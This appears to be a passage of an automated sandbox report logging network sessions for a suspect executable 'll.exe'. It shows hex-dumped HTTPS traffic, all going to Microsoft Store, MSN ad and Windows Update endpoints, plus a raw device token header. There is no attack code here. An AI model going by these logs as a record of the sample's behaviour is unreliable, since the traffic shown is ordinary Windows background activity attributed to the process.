2022-04-08 08:03:26 UTC8198INData Raw: b3 49 a2 0d ff f6 07 56 2e e0 cd 9b 1f 2c 88 a2 01 ec 5e 7b 96 ac 79 f1 dc 76 c5 85 50 e5 c7 c8 45 07 64 59 b3 b7 80 da 46 59 e2 3c b1 95 cb ed 18 a0 46 1e 05 b6 ad 0f aa c7 d6 26 8a 7a 17 6e 85 5c 5c 6e b7 9b 98 29 fc 15 9c b1 63 23 9c 27 9a ba 82 04 21 f1 ec 76 cf 7a 3c 9a dc 26 02 a4 4b 13 b7 f5 66 dc 71 d6 12 42 66 da ba 5c 82 4f 0a 63 8b 27 ed ac 5b 4a 30 41 b8 22 8b 2f b7 4c 07 eb 6d 35 30 dd 9f 04 c2 94 77 e9 20 77 b3 ca 0d 58 a9 21 17 bb 64 c6 3c 80 fd e9 00 b3 78 2d 96 fe 20 b6 4c c6 4a 0b e6 fc 7a 35 83 21 a9 5b fb 9f ec fd f1 bd a9 3a 79 0e 3d a3 0c 9a 4f 59 1e be de 85 65 6f ea 2b b7 1c 1f d9 51 fd 01 a2 7c 91 b5 30 82 07 05 30 82 04 ed a0 03 02 01 02 02 13 33 00 00 00 08 59 e3 94 e0 54 c7 17 5d 00 00 00 00 00 08 30 0d 06 09 2a 86 48 86 f7 0d
Data Ascii: IV.,^{yvPEdYFY<F&zn\\n)c#'!vz<&KfqBf\Oc'[J0A"/Lm50w wX!d<x- LJz5![:y=OYeo+Q|003YT]0*H


Session IDSource IPSource PortDestination IPDestination PortProcess
27192.168.2.35000640.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:27 UTC8213OUTGET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170223Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:27 UTC8214INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: c9123693-df0e-4591-b4e2-ff48357bb11e
Date: Fri, 08 Apr 2022 08:03:26 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
28192.168.2.35000840.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:27 UTC8214OUTGET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170227Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:27 UTC8215INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 2a88f5d5-8fc6-4301-84ac-052aae501d7b
Date: Fri, 08 Apr 2022 08:03:27 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
29192.168.2.35000720.54.110.249443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:27 UTC8215OUTGET /v7.0/products/lookup?alternateId=PackageFamilyName&value=SpotifyAB.SpotifyMusic_zpdnekdrzrea0&market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: kkb781LL8EaQlxCb.0.2.4
Host: displaycatalog.mp.microsoft.com
2022-04-08 08:03:27 UTC8215INHTTP/1.1 200 OK
Connection: close
Date: Fri, 08 Apr 2022 08:03:27 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: 614a84eb-b694-42d7-bb19-26139ba6d0d5
MS-RequestId: aa6caf41-8fbd-4074-b5d3-4fbcd221fafd
MS-CV: kkb781LL8EaQlxCb.0.2.4.422986582.0.1.422986582.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 6
Region: neu
Node: aks-systempool-37630073-vmss000034
MS-DocumentVersions: 9NCBCSZSJRSB|3985
2022-04-08 08:03:27 UTC8216INData Raw: 36 66 33 62 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 4e 43 42 43 53 5a 53 4a 52 53 42 22 5d 2c 22 48 61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 34 2d 30 31 54 31 32 3a 32 31 3a 31 32 2e 36 39 39 36 33 35 36 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 22 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 32 39 34 34 30 38 30 32 33 38 33 35 34 38 32 31 37 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 31 65 64 37 36 30 22 2c
Data Ascii: 6f3b{"BigIds":["9NCBCSZSJRSB"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-04-01T12:21:12.6996356Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3029440802383548217","EISListingIdentifier":null,"BackgroundColor":"#1ed760",
2022-04-08 08:03:27 UTC8219INData Raw: 31 36 34 39 34 38 30 2e 64 30 38 35 39 36 63 36 2d 65 36 62 36 2d 34 38 62 33 2d 38 66 63 39 2d 39 35 39 36 38 35 63 30 34 66 30 31 22 2c 22 57 69 64 74 68 22 3a 33 31 30 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 34 30 38 39 35 35 31 30 33 39 33 37 31 35 39 30 35 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 31 65 64 37 36 30 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 32 37 30 35 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 34 36 35 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22
Data Ascii: 1649480.d08596c6-e6b6-48b3-8fc9-959685c04f01","Width":310},{"FileId":"3040895510393715905","EISListingIdentifier":null,"BackgroundColor":"#1ed760","Caption":"","FileSizeInBytes":12705,"ForegroundColor":"","Height":465,"ImagePositionInfo":"","ImagePurpose"
2022-04-08 08:03:27 UTC8223INData Raw: 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 35 30 36 38 33 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 37 36 38 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 44 65 73 6b 74 6f 70 2f 32 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 53 63 72 65 65 6e 73 68 6f 74 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 59 4c 4e 66 68 57 66 7a 4c 68 2f 4b 39 4a 71 70 4c 67 37 7a 6e 79 48 56 67 59 4d 4f 66 34 7a 66 56 75 77 78 5a 70 61 32 6b 4e 59 3d 22 2c 22 55 72 69 22 3a 22 2f 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 69 6d 61 67 65 2f 61 70 70 73 2e 34 35
Data Ascii: Caption":"","FileSizeInBytes":350683,"ForegroundColor":"","Height":768,"ImagePositionInfo":"Desktop/2","ImagePurpose":"Screenshot","UnscaledImageSHA256Hash":"YLNfhWfzLh/K9JqpLg7znyHVgYMOf4zfVuwxZpa2kNY=","Uri":"//store-images.s-microsoft.com/image/apps.45
2022-04-08 08:03:27 UTC8228INData Raw: 22 54 46 22 2c 22 47 41 22 2c 22 47 4d 22 2c 22 47 45 22 2c 22 47 48 22 2c 22 47 49 22 2c 22 47 4c 22 2c 22 47 44 22 2c 22 47 50 22 2c 22 47 55 22 2c 22 47 47 22 2c 22 47 4e 22 2c 22 47 57 22 2c 22 47 59 22 2c 22 48 54 22 2c 22 48 4d 22 2c 22 48 4e 22 2c 22 41 5a 22 2c 22 42 53 22 2c 22 42 42 22 2c 22 42 59 22 2c 22 42 5a 22 2c 22 42 4a 22 2c 22 42 4d 22 2c 22 42 54 22 2c 22 4b 4d 22 2c 22 43 47 22 2c 22 43 44 22 2c 22 43 4b 22 2c 22 43 58 22 2c 22 43 43 22 2c 22 43 49 22 2c 22 43 57 22 2c 22 4a 4d 22 2c 22 53 4a 22 2c 22 4a 45 22 2c 22 4b 49 22 2c 22 4b 47 22 2c 22 4c 41 22 2c 22 4c 53 22 2c 22 4c 52 22 2c 22 4d 4f 22 2c 22 4d 4b 22 2c 22 4d 47 22 2c 22 4d 57 22 2c 22 49 4d 22 2c 22 4d 48 22 2c 22 4d 51 22 2c 22 4d 55 22 2c 22 59 54 22 2c 22 46 4d 22 2c
Data Ascii: "TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM",
2022-04-08 08:03:27 UTC8232INData Raw: 22 56 43 22 2c 22 54 4a 22 2c 22 54 5a 22 2c 22 54 47 22 2c 22 54 4b 22 2c 22 54 4f 22 2c 22 54 4d 22 2c 22 54 43 22 2c 22 54 56 22 2c 22 55 4d 22 2c 22 55 47 22 2c 22 56 49 22 2c 22 56 47 22 2c 22 57 46 22 2c 22 45 48 22 2c 22 5a 4d 22 2c 22 5a 57 22 2c 22 55 5a 22 2c 22 56 55 22 2c 22 53 52 22 2c 22 53 5a 22 2c 22 41 44 22 2c 22 4d 43 22 2c 22 53 4d 22 2c 22 4d 45 22 2c 22 56 41 22 2c 22 4e 45 55 54 52 41 4c 22 5d 7d 5d 2c 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 43 42 43 53 5a 53 4a 52 53 42 22 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 7b 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 4e 43 42 43 53 5a 53 4a 52 53 42 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 35 63 33 35 33 62 39 63 2d
Data Ascii: "VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"ProductId":"9NCBCSZSJRSB","Properties":{"FulfillmentData":{"ProductId":"9NCBCSZSJRSB","WuCategoryId":"5c353b9c-
2022-04-08 08:03:27 UTC8236INData Raw: 39 61 36 37 2d 37 36 64 39 31 30 38 63 37 63 62 35 3a 46 75 6c 6c 22 5d 2c 22 4c 69 63 65 6e 73 69 6e 67 4b 65 79 49 64 73 22 3a 5b 22 31 22 5d 7d 2c 7b 22 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 22 62 69 67 3a 39 4e 43 42 43 53 5a 53 4a 52 53 42 3a 30 30 30 31 22 5d 2c 22 4c 69 63 65 6e 73 69 6e 67 4b 65 79 49 64 73 22 3a 5b 22 31 22 5d 7d 2c 7b 22 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 22 62 69 67 3a 39 4e 43 42 43 53 5a 53 4a 52 53 42 3a 30 30 30 32 22 5d 2c 22 4c 69 63 65 6e 73 69 6e 67 4b 65 79 49 64 73 22 3a 5b 22 31 22 5d 7d 5d 7d 2c 22 4d 61 72 6b 65 74 73 22 3a 5b 22 55 53 22 5d 2c 22 4f 72 64 65 72 4d 61 6e 61 67 65 6d 65 6e 74 44 61 74 61 22 3a 7b 22 47 72 61 6e 74 65 64 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73
Data Ascii: 9a67-76d9108c7cb5:Full"],"LicensingKeyIds":["1"]},{"EntitlementKeys":["big:9NCBCSZSJRSB:0001"],"LicensingKeyIds":["1"]},{"EntitlementKeys":["big:9NCBCSZSJRSB:0002"],"LicensingKeyIds":["1"]}]},"Markets":["US"],"OrderManagementData":{"GrantedEntitlementKeys
2022-04-08 08:03:27 UTC8240INData Raw: 2c 22 4d 57 22 2c 22 49 4d 22 2c 22 4d 48 22 2c 22 4d 51 22 2c 22 4d 55 22 2c 22 59 54 22 2c 22 46 4d 22 2c 22 4d 44 22 2c 22 4d 4e 22 2c 22 4d 53 22 2c 22 4d 5a 22 2c 22 4d 4d 22 2c 22 4e 41 22 2c 22 4e 52 22 2c 22 4e 50 22 2c 22 4d 56 22 2c 22 4d 4c 22 2c 22 4e 43 22 2c 22 4e 49 22 2c 22 4e 45 22 2c 22 4e 55 22 2c 22 4e 46 22 2c 22 50 57 22 2c 22 50 53 22 2c 22 50 41 22 2c 22 50 47 22 2c 22 50 59 22 2c 22 52 45 22 2c 22 52 57 22 2c 22 42 4c 22 2c 22 4d 46 22 2c 22 57 53 22 2c 22 53 54 22 2c 22 53 4e 22 2c 22 4d 50 22 2c 22 50 4e 22 2c 22 53 58 22 2c 22 53 42 22 2c 22 53 4f 22 2c 22 53 43 22 2c 22 53 4c 22 2c 22 47 53 22 2c 22 53 48 22 2c 22 4b 4e 22 2c 22 4c 43 22 2c 22 50 4d 22 2c 22 56 43 22 2c 22 54 4a 22 2c 22 54 5a 22 2c 22 54 47 22 2c 22 54 4b 22
Data Ascii: ,"MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK"
2022-04-08 08:03:27 UTC8244INData Raw: 32 3a 32 31 3a 31 32 2e 37 36 38 36 31 35 31 5a 22 2c 22 4d 61 72 6b 65 74 73 22 3a 5b 22 55 53 22 5d 2c 22 4f 72 64 65 72 4d 61 6e 61 67 65 6d 65 6e 74 44 61 74 61 22 3a 7b 22 47 72 61 6e 74 65 64 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 5d 2c 22 50 72 69 63 65 22 3a 7b 22 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 49 73 50 49 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 2c 22 4c 69 73 74 50 72 69 63 65 22 3a 30 2e 30 2c 22 4d 53 52 50 22 3a 30 2e 30 2c 22 54 61 78 54 79 70 65 22 3a 22 22 2c 22 57 68 6f 6c 65 73 61 6c 65 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 22 7d 7d 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 7b 7d 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 44 69 73 70 6c 61 79 52 61 6e 6b 22 3a 31 2c 22 52
Data Ascii: 2:21:12.7686151Z","Markets":["US"],"OrderManagementData":{"GrantedEntitlementKeys":[],"Price":{"CurrencyCode":"USD","IsPIRequired":false,"ListPrice":0.0,"MSRP":0.0,"TaxType":"","WholesaleCurrencyCode":""}},"Properties":{},"SkuId":"0011","DisplayRank":1,"R
2022-04-08 08:03:27 UTC8244INData Raw: 30 0d 0a 0d 0a
Data Ascii: 0


Session IDSource IPSource PortDestination IPDestination PortProcess
3192.168.2.34997820.82.210.154443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:02:20 UTC17OUTGET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220408T170212Z&lc=en-US&pl=en-US&idtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=492dae31b56c4c9eaec7feff7513297e&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1463022&metered=false&nettype=ethernet&npid=sc-280815&oemName=hsehht%2C%20Inc.&oemid=hsehht%2C%20Inc.&ossku=Professional&smBiosDm=hsehht7%2C1&tl=2&tsu=1463022&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAdVW0iu23GIxjRyUBGA+V5LMoU/lMaTjobBnQosoTe6w30OZEf3HulBKeYXog3CqxSfjOHeF/J4iLS/gKyhq/ZV/xtrYHZ35PhcBmS2qzlwNBiXp0+l4efq5nsDEEESQ06VT9dPxHYgWIFLG65LRysydA1lM9dDPzftFvDLM/ickJDFevqkA3hG2mKV46IqHL4CT7eP4Hk0/MOrRp8JB5tew/jI7o25TIEcXI9Ohbx1KIwUuqQcpj0nfDAUZEjkQqVS2z/wQaH+/fdlFO/AoxQI3CbcoTeaCp3XIesBJX0bxVNzc22qQqCPfGWQ/Sb52rGvkgBRvdW8DFg8ToMjfQpYDZgAACE3mODPOPAwVqAFPV53gZZc0aOkGu+jJWnw46hEU9aCKlpEDkH6SywZSQj+Z6IyumM/ZCz1/Exb6MZih9PGVRFV0dS4rZOfTTsEXw5x6gJoWeqkJZJqul+/LQNZpdaM/TGNQWhUnnbhyzuL3J52vfTsZzAtC6HDHUtfCP567IuQfNJw1zOBQG/Pho8+d+FiHWtcPKMXaDH+rX7PpflRpHTm7bd+l+rsPvLvdstjafDcGAADV0pkaM4oU0n35rzdzjoAWTcazcHXkrs0Gr34gDLPkE96nUwLpeDlXN3LOntP44gHngfTJAvz4io7zKxVkmOUwHoTarQK7POiXKiwa8x1QRMWrj0xK5k34eIR6SWW4uOhaTkCvnkjxlUVc2iz/sxwQS6ZoJuzJ60lcBcq6ptimZGdy/yuIx2kCNYcUG/nBNXbdKtF3Kz0nMb3Ry9n0QIm/ncP9d68+s4WiRIc+RuW5MPI3aHMGGt2snchu87pA34+QQKDxQpJZVZnC+RaoA8mYS8BGPqZ//PidcqGGmzw2vccoT1N6pSAD7mXPyM9QONX68BD34uYAk1VCPhRpsKh41QE=&p=
Cache-Control: no-cache
MS-CV: BYqskdYKuUKf7ZeJ.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive
2022-04-08 08:02:20 UTC21INHTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 3040
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T700333390-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"256"}]
X-ARC-SIG: jYg3qLjL9Y7DWzBRHX/+PyS9UJXd6jECnibQpLQst2MdB7YiU51XCLeBBrHBb9vlmkerL9wZdwBzS4+HP5SweUxO6M4NtQxTUoSkTHWe4tIzvNO0QlGs+/O0qhFZ2lN17EHNu0CzaR8iMlPemwxRssGzeba+XC7MABxdD+HPDlNCQv7acrDYMG+z49gitd6ztDJnbbe+9uYj8FA4qVYjMbch1Jk+iUpTMcUhBp13q+4/7m160josyIzvXG348EYRWrNKTkCqP7PJJ6dEx8/FhoVSKcMKcwFkFGB8W5Z6yV607yTuNd42CNff5qDIWEHVMb2ariX3fnupTPyNmXpeZA==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 08 Apr 2022 08:02:19 GMT
Connection: close
2022-04-08 08:02:20 UTC22INData Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti


Session IDSource IPSource PortDestination IPDestination PortProcess
30192.168.2.35000940.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:27 UTC8227OUTGET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170230Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:27 UTC8244INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 107e50e4-a74e-491d-b8c0-a91805046893
Date: Fri, 08 Apr 2022 08:03:27 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
31192.168.2.35001040.112.88.60443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:27 UTC8244OUTGET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=8d771849a7234e0ab71c2ac9a71f46b4&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e4896368b6a64edb9547962c054e1d7c&time=20220408T170232Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive
2022-04-08 08:03:27 UTC8245INHTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 85d1895f-4158-4a57-b45c-4de3b9f46e5c
Date: Fri, 08 Apr 2022 08:03:27 GMT
Connection: close


Session IDSource IPSource PortDestination IPDestination PortProcess
32192.168.2.35001120.54.89.106443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:27 UTC8245OUTGET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
2022-04-08 08:03:27 UTC8245INHTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "wy8fVV3cy06QlZhZUaOlBEoVMBnt4x8NJH3c50VWOxM=_1440"
MS-CorrelationId: c06878f6-0b4a-49cf-add5-70a9a8627c00
MS-RequestId: 3aa854ad-016a-4aa9-a94c-5c4cdc8d88eb
MS-CV: 7pM+pa80hUGSJ0uF.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 08 Apr 2022 08:03:27 GMT
Connection: close
Content-Length: 30958
2022-04-08 08:03:27 UTC8246INData Raw: 4d 53 43 46 00 00 00 00 be 37 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 20 e0 00 00 14 00 00 00 00 00 10 00 be 37 00 00 30 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 5b 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 27 c3 6c fd 52 37 f3 5b 43 4b ed 7a 05 58 55 dd d6 ee de 9b ee 96 6e 11 e9 b5 e9 52 69 a5 a4 bb 5b a4 bb 6b d3 ad a2 74 77 08 08 08 d2 21 25 dd a0 80 80 48 4a 4a 83 c4 dd e8 17 9e ef d4 7f fe 7b cf 73 fe 7b ef b7 9f 67 ef bd e6 5c 73 ce 35 63 8c f1 8e 77 8c 25 af 22 2e 05 82 7f da c9 40 df 3f 12 3f fe 40 08 60 30 08 0c 42 04 bd f8 08 02 11 7e af c1 fd de 06 10 05 fd f6 31 85 7f af 5b 85 72 83 7e fa f8 83 cc 6c 5d 2d 1d ed 6c 6d cc 6c 9d d9 dd 6d ac 41 f8 7a 2e
Data Ascii: MSCF7D 70Ad[environment.cab'lR7[CKzXUnRi[ktw!%HJJ{s{g\s5cw%".@??@`0B~1[r~l]-lmlmAz.
